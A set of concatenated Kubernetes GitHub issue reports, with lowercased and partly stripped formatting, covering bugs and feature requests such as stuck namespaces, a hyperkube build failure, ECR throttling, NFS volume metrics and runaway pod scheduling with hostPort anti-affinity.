docker-pullable://bcmt-registry:5000/gcr.io/kubernetes-helm/tiller@sha256:0b05e5c51e426f3ae9ef2beb990a10353e5e4c76d0be4a32d87589e459c605ce\r     laststate:\r       terminated:\r         containerid: docker://58be98d8ac2a4140eb500a6906375d0fe3619b862b784479b56458f9351c8561\r         exitcode: 255\r         finishedat: 2018-01-24t09:32:01z\r         reason: error\r         startedat: 2018-01-24t07:15:01z\r     name: tiller\r     ready: true\r     restartcount: 3\r     state:\r       running:\r           startedat: 2018-01-24t09:35:47z  \r   hostip: 172.16.2.130\r   phase: running\r   podip: 192.168.1.3\r   qosclass: besteffort\r   starttime: 2018-01-23t08:58:15z\r \r so, it seems k8s has some kind of defect in readiness detection in this time jump case. \r \r   what you expected to happen  :\r k8s can check the pod ready status correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

this issue https://github.com/kubernetes/kubernetes/issues/24198 issue-148085115 regresses on all versions of deployment in  apps  group.\r \r the reason is that they don't have the  retainkeys  patchstrategy in their tags.\r deployment in  extensions  group has the  retainkeys  patchstrategy:\r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/extensions/v1beta1/types.go l144\r \r we may want to port the  retainkeys  tag for all versions in the apps group.\r \r  \r daemonset has similar fields: https://github.com/mengqiy/kubernetes/blob/9b05e2644f55aa531b376d83e1fecf8120151aff/staging/src/k8s.io/api/extensions/v1beta1/types.go l398-l411\r it doesn't give an error if we apply the same steps on it.\r instead, it could become this after change the  updatestrategy  from default to  ondelete \r    \r   updatestrategy:\r     rollingupdate:\r       maxunavailable: 1\r     type: ondelete\r    \r \r we may also want to add  retainkeys  to all deamonset.\r \r adding  retainkeys  tag is totally backward compatible. \r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r pr  60633 adds health monitoring for processes brought up with local-cluster-up.sh. but monitoring of kubelet when started under docker is not covered yet.\r \r   what you expected to happen  :\r \r someone who uses local-cluster-up.sh with dockerize_kubelet would need to add some code to local-cluster-up.sh and prepare a pr with those changes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  dockerize_kubelet=y local-cluster-up.sh ...  then kill kubelet. the script should warn about the premature exit of the process.\r

hey, \r very much like  this issue  https://github.com/kubernetes/kubernetes/issues/19317  i have a namespace stuck in terminating on gke 1.9.6-gke.1, and it's been like that for a good week.\r \r    \r ❯ k get ns heptio-ark -o json\r {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ namespace\ ,\r     \ metadata\ : {\r         \ annotations\ : {\r             \ kubectl.kubernetes.io/last-applied-configuration\ : \ {\\\ apiversion\\\ :\\\ v1\\\ ,\\\ kind\\\ :\\\ namespace\\\ ,\\\ metadata\\\ :{\\\ annotations\\\ :{},\\\ name\\\ :\\\ heptio-ark\\\ ,\\\ namespace\\\ :\\\ \\\ }}\ \ \r         },\r         \ creationtimestamp\ : \ 2018-04-11t07:16:41z\ ,\r         \ deletiontimestamp\ : \ 2018-04-11t07:24:43z\ ,\r         \ name\ : \ heptio-ark\ ,\r         \ resourceversion\ : \ 1170742\ ,\r         \ selflink\ : \ /api/v1/namespaces/heptio-ark\ ,\r         \ uid\ : \ 481f3445-3d58-11e8-a994-42010a840077\ \r     },\r     \ spec\ : {\r         \ finalizers\ :  \r             \ kubernetes\ \r          \r     },\r     \ status\ : {\r         \ phase\ : \ terminating\ \r     }\r }\r    \r \r there's definitely nothing in that ns:\r    \r ❯ k --namespace=heptio-ark get all\r no resources found.\r    \r \r i've tried removing the finalizer, like others have suggested in other issues with this problem but to no avail and i don't know what else to try.

i'm being honest in saying that the  official example   https://github.com/kubernetes/sample-controller , which alleges to be simple, makes me feel stupid. various examples i've found scattered across the internet aren't much better.\r \r what they all have in common is that complexities of client-go and apimachinery have bled through into the custom controller code. in the official example and in others, these complexities are inadequately documented. even if they were documented better, the fact that those complexities are bleeding through in the first place is still bad.\r \r in my mind, i am trying to rationalize any reason at all that writing a controller or operator should be any more difficult than this:\r \r 1. register to listen for relevant resources\r 1. implement handlers / callbacks to deal with events on those things\r 1. profit\r \r to be blunt, i shouldn't have to know what a shared informer is.

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r \r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r the  getbinderfunc  method of  configfactory  does not need to be a method. it should be converted into a plain func that takes a client   kubernetes.interface   and slice of  schedulerextender .  code is in  pkg/scheduler/factory/factory.go  \r \r \r \r \r  \r  \r /help

there should be a  securitycontext  component of  podstatus  that communicates the effective selinux context of a pod / container.    @pweil- @bgrant0607 @smarterclayton @swagiaal

right now, federation-apiserver only returns federated resources  resources created in federation control plane . for ex: doing a get  /api/v1/services  returns federated services. to get the corresponding services from underlying kubernetes clusters, clients need to talk directly to those clusters. we want to enable clients to be able to get all resources  including the ones from underlying clusters  from federation-apiserver.  cc @kubernetes/sig-cluster-federation

can the vendored version of aws-sdk-go be upgraded? we're hitting aws ecr throttling limits on getauthorizationtoken which should be retried by aws-sdk-go. however, kubernetes is vendoring an old version of the sdk which has poor retry logic. newer versions of aws-sdk-go have improved on this, and upgrading to a newer version of the sdk would be great  as we believe that would retry properly and solve the issue .\r \r   details:   when minions come up they issue a getauthorizationtoken request in order to authenticate against ecr. this api has strict throttle limits  1 tps, burst of 50  which aws is unwilling to increase on an account-by-account bases, see http://docs.aws.amazon.com/amazonecr/latest/userguide/common-errors.html. as a result, bringing up medium sized clusters  100+  leaves several minions in a state where they cannot authenticate to ecr are are stuck in an image-pull-error state  if they pull images from ecr .\r \r retries should help, but the vendored aws-sdk-go is old and seems to have poor retry logic. this has been improved in newer releases.\r \r   what keywords did you search in kubernetes issues before filing this one?   aws-sdk-go aws sdk getauthorizationtoken\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version  : 1.2.4, but looks like it also applies to  master \r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os  : coreos 1235.4.0\r \r \r   what happened  :\r \r spun up a 150 node cluster in aws. we use coreos's kube-aws.\r \r   what you expected to happen  :\r \r all nodes come up, are able to eventually run getauthorizationtoken successfully.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r deploy a large cluster in aws. look for  aws_credentials.go:130  while requesting ecr authorization token throttlingexception: rate exceeded  in  journalctl  on minions.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r kubelet emitting error-level logs in production environment, like so:\r    \r e0803 20:42:47.064138    1445 kubelet_resources.go:46  allocatable: map pods:{{110 0} {<nil>} 110 decimalsi} cpu:{{8 0} {<nil>} 8 decimalsi} memory:{{67438174208 0} {<nil>}  binarysi} \r    \r \r   what you expected to happen  :\r \r looking at the relevant source code -- https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_resources.go -- this looks like a debug log output of normal, expected behavior, which is accidentally set to error level.\r \r in our enterprise production environment, there's a qa / reliability team which monitors for any error-level logs, and expects that our engr can explain / track / fix / address them in some manner. if this truly is debug output, which it looks like, then changing it to anything-other-than-error level will be extremely appreciated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.5\ , gitcommit:\ 490c6f13df1cb6612e0993c4c14f2ff90f8cdbf3\ , gittreestate:\ clean\ , builddate:\ 2017-06-14t20:15:53z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.5\ , gitcommit:\ 490c6f13df1cb6612e0993c4c14f2ff90f8cdbf3\ , gittreestate:\ clean\ , builddate:\ 2017-06-14t20:03:38z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release : ubuntu 16.04.1 lts\r - kernel  e.g.  uname -a  :  linux tuk6m1knode1 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: n/a\r - others: n/a\r

part of the cause of  48327 is that the statefulset controller attempts to set the v1.podspec .hostname and v1.podspec.subdomain fields. though the alpha annotations corresponding to these fields were mutable, and the though the endpoints controller could create new endpoints based on the mutation of these fields, kubelet does not seem sensitive to their mutation, and mutation of the fields is not supported in the v1.podspec api object.\r \r   bug report  :\r  

i installed kubernetes 1.7.3 last month, works well. then the kubernetes 1.8 released. i ran yum update my system is centos x64 . the kubernetes cluster failed to upgrade. after kube-  package upgrade. \r the cluster network not working. we can not access network  both in/out  \r and failed to find a solution.\r we setup our cluster by kubeadm. \r we try to delete all node, and recreate kubernetes cluster . but still failed. the network not working.\r \r there hardly to find out how to upgrade kubernetes from old version to latest version.\r no enough test ,not enough document/guide. if we occures problems. no one knows how to resolve it. \r the system not clear to show us why the upgrade success or failed.\r \r \r kubernetes release quickly, but not test well. why not make more test for upgrade ? \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line: \r \r  \r >  \r \r   what happened  :\r failed to build hyperkube image\r \r    \r cd /mnt/gitsource\r + rm -rf /mnt/gitsource/kubernetes\r + git clone https://github.com/kubernetes/kubernetes.git\r .\r .\r resolving deltas: 100%  422642/422642    \r resolving deltas: 100%  422642/422642 , done.\r checking connectivity... done.\r + cd /mnt/gitsource/kubernetes\r + make quick-release\r +++  1023 00:05:18  verifying prerequisites....\r +++  1023 00:05:18  building docker image kube-build:build-fa56b185db-5-v1.9.1-1\r +++  1023 00:06:14  creating data container kube-build-data-fa56b185db-5-v1.9.1-1\r +++  1023 00:06:16  syncing sources to container\r +++  1023 00:06:20  running build command...\r +++  1023 00:06:39  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1023 00:06:39  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  1023 00:06:40  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/deepcopy-gen\r +++  1023 00:06:48  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1023 00:06:48  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  1023 00:06:49  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/defaulter-gen\r +++  1023 00:06:53  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1023 00:06:53  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  1023 00:06:54  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/conversion-gen\r +++  1023 00:07:00  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1023 00:07:00  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  1023 00:07:01  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/openapi-gen\r +++  1023 00:07:07  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1023 00:07:07  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  1023 00:07:08  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kube-apiserver\r     cmd/kube-controller-manager\r     cmd/cloud-controller-manager\r     cmd/kubelet\r     cmd/kubeadm\r     cmd/hyperkube\r     vendor/k8s.io/kube-aggregator\r     vendor/k8s.io/apiextensions-apiserver\r     plugin/cmd/kube-scheduler\r +++  1023 00:11:10  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1023 00:11:10  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  1023 00:11:11  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kubelet\r +++  1023 00:11:28  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1023 00:11:29  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  1023 00:11:29  building go targets for linux/amd64:\r     cmd/kubectl\r     federation/cmd/kubefed\r +++  1023 00:12:03  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1023 00:12:03  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  1023 00:12:03  building go targets for linux/amd64:\r     cmd/gendocs\r     cmd/genkubedocs\r     cmd/genman\r     cmd/genyaml\r     cmd/genswaggertypedocs\r     cmd/linkcheck\r     federation/cmd/genfeddocs\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e/e2e.test\r +++  1023 00:13:36  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1023 00:13:37  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  1023 00:13:37  building go targets for linux/amd64:\r     cmd/kubemark\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e_node/e2e_node.test\r +++  1023 00:14:42  syncing out of container\r +++  1023 00:14:54  building tarball: src\r +++  1023 00:14:54  building tarball: salt\r +++  1023 00:14:54  building tarball: manifests\r +++  1023 00:14:54  starting tarball: client linux-amd64\r +++  1023 00:14:54  waiting on tarballs\r +++  1023 00:14:59  building tarball: node linux-amd64\r +++  1023 00:14:59  building tarball: server linux-amd64\r +++  1023 00:15:01  starting docker build for image: cloud-controller-manager-amd64\r +++  1023 00:15:01  starting docker build for image: kube-apiserver-amd64\r +++  1023 00:15:01  starting docker build for image: kube-controller-manager-amd64\r +++  1023 00:15:01  starting docker build for image: kube-scheduler-amd64\r +++  1023 00:15:01  starting docker build for image: kube-aggregator-amd64\r +++  1023 00:15:01  starting docker build for image: kube-proxy-amd64\r +++  1023 00:15:07  deleting docker image gcr.io/google_containers/kube-aggregator:v1.9.0-alpha.1.1514_1274902a3db06d\r +++  1023 00:15:07  deleting docker image gcr.io/google_containers/kube-scheduler:v1.9.0-alpha.1.1514_1274902a3db06d\r +++  1023 00:15:08  deleting docker image gcr.io/google_containers/kube-proxy:v1.9.0-alpha.1.1514_1274902a3db06d\r +++  1023 00:15:08  deleting docker image gcr.io/google_containers/cloud-controller-manager:v1.9.0-alpha.1.1514_1274902a3db06d\r +++  1023 00:15:09  deleting docker image gcr.io/google_containers/kube-controller-manager:v1.9.0-alpha.1.1514_1274902a3db06d\r +++  1023 00:15:10  deleting docker image gcr.io/google_containers/kube-apiserver:v1.9.0-alpha.1.1514_1274902a3db06d\r +++  1023 00:15:10  docker builds done\r +++  1023 00:16:17  building tarball: final\r +++  1023 00:16:17  building tarball: test\r    \r \r \r \r    \r + cd /mnt/gitsource/kubernetes/cluster/images/hyperkube\r + make build version=ci-master-nightly\r cp -r ./  /tmp/hyperkubethssps\r cp ../../../_output/dockerized/bin/linux/amd64/hyperkube /tmp/hyperkubethssps\r chmod a+rx /tmp/hyperkubethssps/hyperkube\r cd /tmp/hyperkubethssps && sed -i.back \ s|baseimage|gcr.io/google-containers/debian-hyperkube-base-amd64:0.5|g\  dockerfile\r   register /usr/bin/qemu-arch-static as the handler for non-x86 binaries in the kernel\r docker run --rm --privileged multiarch/qemu-user-static:register --reset\r unable to find image 'multiarch/qemu-user-static:register' locally\r register: pulling from multiarch/qemu-user-static\r \r \r 03b1be98f3f9: already exists \r \r \r 6dc50d74911e: pulling fs layer \r \r \r 1082a9c2adf0: pulling fs layer \r \r 1082a9c2adf0: download complete \r \r 6dc50d74911e: download complete \r \r 6dc50d74911e: extracting    464 b/464 b\r \r 6dc50d74911e: extracting    464 b/464 b\r \r 6dc50d74911e: pull complete \r \r 1082a9c2adf0: extracting 2.704 kb/2.704 kb\r \r 1082a9c2adf0: extracting 2.704 kb/2.704 kb\r \r 1082a9c2adf0: pull complete \r digest: sha256:927413ed705bcff4b71f1d4d38ce6fbaf56194433686e78eda4cdce87351c5bc\r status: downloaded newer image for multiarch/qemu-user-static:register\r setting /usr/bin/qemu-alpha-static as binfmt interpreter for alpha\r sh: write error: invalid argument\r setting /usr/bin/qemu-arm-static as binfmt interpreter for arm\r sh: write error: invalid argument\r setting /usr/bin/qemu-sparc32plus-static as binfmt interpreter for sparc32plus\r sh: write error: invalid argument\r setting /usr/bin/qemu-ppc-static as binfmt interpreter for ppc\r sh: write error: invalid argument\r setting /usr/bin/qemu-ppc64-static as binfmt interpreter for ppc64\r sh: write error: invalid argument\r setting /usr/bin/qemu-ppc64le-static as binfmt interpreter for ppc64le\r sh: write error: invalid argument\r setting /usr/bin/qemu-m68k-static as binfmt interpreter for m68k\r sh: write error: invalid argument\r setting /usr/bin/qemu-mips-static as binfmt interpreter for mips\r sh: write error: invalid argument\r setting /usr/bin/qemu-mipsel-static as binfmt interpreter for mipsel\r sh: write error: invalid argument\r setting /usr/bin/qemu-mipsn32-static as binfmt interpreter for mipsn32\r sh: write error: invalid argument\r setting /usr/bin/qemu-mipsn32el-static as binfmt interpreter for mipsn32el\r sh: write error: invalid argument\r setting /usr/bin/qemu-mips64-static as binfmt interpreter for mips64\r sh: write error: invalid argument\r setting /usr/bin/qemu-mips64el-static as binfmt interpreter for mips64el\r sh: write error: invalid argument\r setting /usr/bin/qemu-sh4-static as binfmt interpreter for sh4\r sh: write error: invalid argument\r setting /usr/bin/qemu-sh4eb-static as binfmt interpreter for sh4eb\r sh: write error: invalid argument\r setting /usr/bin/qemu-s390x-static as binfmt interpreter for s390x\r sh: write error: invalid argument\r setting /usr/bin/qemu-aarch64-static as binfmt interpreter for aarch64\r sh: write error: invalid argument\r setting /usr/bin/qemu-hppa-static as binfmt interpreter for hppa\r sh: write error: invalid argument\r makefile:34: recipe for target 'build' failed\r make:      build  error 1\r    \r \r \r   what you expected to happen  :\r hyperkube image should be built.\r \r   how to reproduce it  as minimally and precisely as possible   :\r git clone kubernetes master, execute  make quick-release  and then build hyperkube image.\r \r \r   anything else we need to know?  :\r executing script from the privileged container on which  binfmt-support  and   qemu-user-static  is installed.\r   binfmt-support  and   qemu-user-static  is also installed on the docker host.\r \r verified recommendation provided by @dims at https://github.com/kubernetes/kubernetes/issues/52884 issuecomment-331467653\r  \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r    \r   cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r   uname -a\r linux ci-host-03 4.4.0-87-generic  110-ubuntu smp tue jul 18 12:55:35 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r \r \r cc: @baludontu

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  @kubernetes/sig-storage-feature-requests \r \r   what happened  :\r are there any use cases where we still need to support kubelet doing the attach/detach?  if not, let's deprecate this field and eventually remove it.\r

 \r   what happened  :\r on a cluster with an nfs persistent volume present:\r \r    \r joe@master-10-143-29-101 ~ $ curl -k -ss https://10.143.29.101:10250/metrics | grep kubelet_volume_stats_available_bytes\r joe@master-10-143-29-101 ~ $\r    \r \r   what you expected to happen  :\r i expected metrics concerning the nfs persistent volume to be returned\r \r e.g:\r    \r joe@ip-10-0-5-41 ~ $ curl -k -ss https://10.0.5.182:10250/metrics | grep kubelet_volume_stats_available_bytes\r   help kubelet_volume_stats_available_bytes number of available bytes in the volume\r   type kubelet_volume_stats_available_bytes gauge\r kubelet_volume_stats_available_bytes{namespace=\ monitoring\ ,persistentvolumeclaim=\ alertmanager-data\ } 9.50206464e+08\r kubelet_volume_stats_available_bytes{namespace=\ monitoring\ ,persistentvolumeclaim=\ elasticsearch-data\ } 9.5821914112e+10\r    \r  from a separate aws cluster \r \r   anything else we need to know?  :\r i'm assuming https://github.com/kubernetes/kubernetes/blob/bb8f58b6e655cf55e029ee21d44934c1ef8878d9/pkg/volume/nfs/nfs.go l183 that this is just not implemented currently? i couldn't find a referencing issue\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: on-prem\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1576.5.0\r version_id=1576.5.0\r build_id=2018-01-05-1121\r pretty_name=\ container linux by coreos 1576.5.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux master-10-143-29-101 4.14.11-coreos  1 smp fri jan 5 11:00:14 utc 2018 x86_64 intel r  xeon r  cpu e5-2637 v2 @ 3.50ghz genuineintel gnu/linux\r    \r

  \r   what happened  :\r i can successfully create and remove pods 30 times  not concurrent , but when trying to deploy a kubernetes pod around that threshold, i receive this error:\r \r failed create pod sandbox: rpc error: code = unknown desc = networkplugin cni failed to set up pod \ windows-jnlp-rzbbp_jx\  network: netplugin failed but error parsing its diagnostic message \ \ : unexpected end of json input\r \r   what you expected to happen  :\r to create a pod like normal onto my azure windows vm\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy acs-engine's kubernetes-hybrid.json file in azure, install jx onto the linux nodes, then use kubernetes plugin to spin up pods on windows nodes. created and remove about 30 builds, the error should pop up\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r my computer is windows 10, using azure with linux pool agents and windows 10 v1803 server vm's with virtualization\r - os  e.g. from /etc/os-release :\r windows 10 v1709 for my computer, the nodes with the pods are trying to run on are windows 10 v1803\r - kernel version: 10.0.17134.112\r - install tools: acs-engine, jx,docker for windows, azure cli for powershell, kubernetes cli\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r in some specific scenario  see following yaml , pods are not scheduled properly. instead, pods get scheduled unstoppingly, in a increasing manner.\r \r   what you expected to happen  :\r \r pods are scheduled properly, without additional replicas.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. spin up a 10-node cluster\r 2. create following yaml  change image from \ pause\  to \ nginx\  can also trigger \r        yaml\r     apiversion: apps/v1\r     kind: deployment\r     metadata:\r     name: pause\r     spec:\r     replicas: 11\r     selector:\r         matchlabels:\r         app: pause\r     template:\r         metadata:\r         labels:\r             app: pause\r         spec:\r         nodeselector:\r             beta.kubernetes.io/arch: amd64\r         hostnetwork: true\r         dnspolicy: clusterfirstwithhostnet\r         affinity:\r             podantiaffinity:\r             preferredduringschedulingignoredduringexecution:\r             - podaffinityterm:\r                 labelselector:\r                     matchexpressions:\r                     - key: app\r                     operator: in\r                     values:\r                     - pause\r                 topologykey: kubernetes.io/hostname\r                 weight: 100\r         containers:\r         - name: pause\r             image: k8s.gcr.io/pause\r             ports:\r             - containerport: 80\r             hostport: 80\r        \r 3. everything looks fine\r 4. kill all pods via  k delete po -l app=pause \r 5. pods pop up infinitely.  sometime needs several running of step 4 to reproduce \r        \r     name                     ready     status             restarts   age\r     pause-6dfd84c5fd-282vw   1/1       running            0          18s\r     pause-6dfd84c5fd-2fwk6   0/1       podfitshostports   0          9s\r     pause-6dfd84c5fd-2ltx4   0/1       podfitshostports   0          7s\r     pause-6dfd84c5fd-2pw4j   1/1       running            0          19s\r     pause-6dfd84c5fd-2xfwj   0/1       podfitshostports   0          14s\r     pause-6dfd84c5fd-427wb   0/1       podfitshostports   0          2s\r     pause-6dfd84c5fd-44n78   1/1       running            0          18s\r     pause-6dfd84c5fd-46cq8   1/1       running            0          19s\r     pause-6dfd84c5fd-4gbmk   0/1       podfitshostports   0          6s\r     pause-6dfd84c5fd-4lt6w   0/1       podfitshostports   0          18s\r     pause-6dfd84c5fd-4pgnf   0/1       podfitshostports   0          8s\r     ......\r     pause-6dfd84c5fd-m7ldl   0/1       podfitshostports   0          15s\r     pause-6dfd84c5fd-md9hk   0/1       podfitshostports   0          6s\r     pause-6dfd84c5fd-mgs4k   0/1       podfitshostports   0          12s\r     pause-6dfd84c5fd-n4vkg   0/1       podfitshostports   0          5s\r     pause-6dfd84c5fd-ncw6h   0/1       podfitshostports   0          11s\r     pause-6dfd84c5fd-ndd29   0/1       podfitshostports   0          18s\r     pause-6dfd84c5fd-pkbnh   0/1       podfitshostports   0          8s\r     pause-6dfd84c5fd-psp9s   0/1       podfitshostports   0          7s\r     pause-6dfd84c5fd-q5cgb   0/1       podfitshostports   0          14s\r     pause-6dfd84c5fd-qhkt6   0/1       podfitshostports   0          0s\r     pause-6dfd84c5fd-qn5xl   0/1       podfitshostports   0          11s\r     pause-6dfd84c5fd-r2mzl   0/1       podfitshostports   0          6s\r     pause-6dfd84c5fd-rx2qd   0/1       podfitshostports   0          2s\r     ......\r     pause-6dfd84c5fd-wn5cg   1/1       running            0          8s\r     pause-6dfd84c5fd-wn66d   0/1       podfitshostports   0          2s\r     pause-6dfd84c5fd-wqw5l   0/1       podfitshostports   0          8s\r     pause-6dfd84c5fd-wzx7n   0/1       podfitshostports   0          10s\r     pause-6dfd84c5fd-xc9jq   0/1       pending            0          0s\r     pause-6dfd84c5fd-xd96g   0/1       podfitshostports   0          1s\r     pause-6dfd84c5fd-xj4p4   0/1       podfitshostports   0          2s\r     pause-6dfd84c5fd-xrml2   1/1       running            0          19s\r     pause-6dfd84c5fd-z2j9j   0/1       podfitshostports   0          10s\r     pause-6dfd84c5fd-zprb9   0/1       podfitshostports   0          11s\r     pause-6dfd84c5fd-zvvm5   0/1       podfitshostports   0          13s\r     pause-6dfd84c5fd-zx8tw   0/1       podfitshostports   0          3s\r        \r 6. but deployment status looks good\r        \r     name      desired   current   up-to-date   available   age\r     pause     11        11        11           10          6m36s\r        \r \r   anything else we need to know?  :\r \r - this issue can be reproduced on any k8s version >= 1.10.\r - enable/disable  podpriority  can both trigger this issue.\r - _might_ be due to same cause of  66568.\r \r   environment  :\r - kubernetes version  use  kubectl version  : >= 1.10\r - cloud provider or hardware configuration: kubeadm\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:

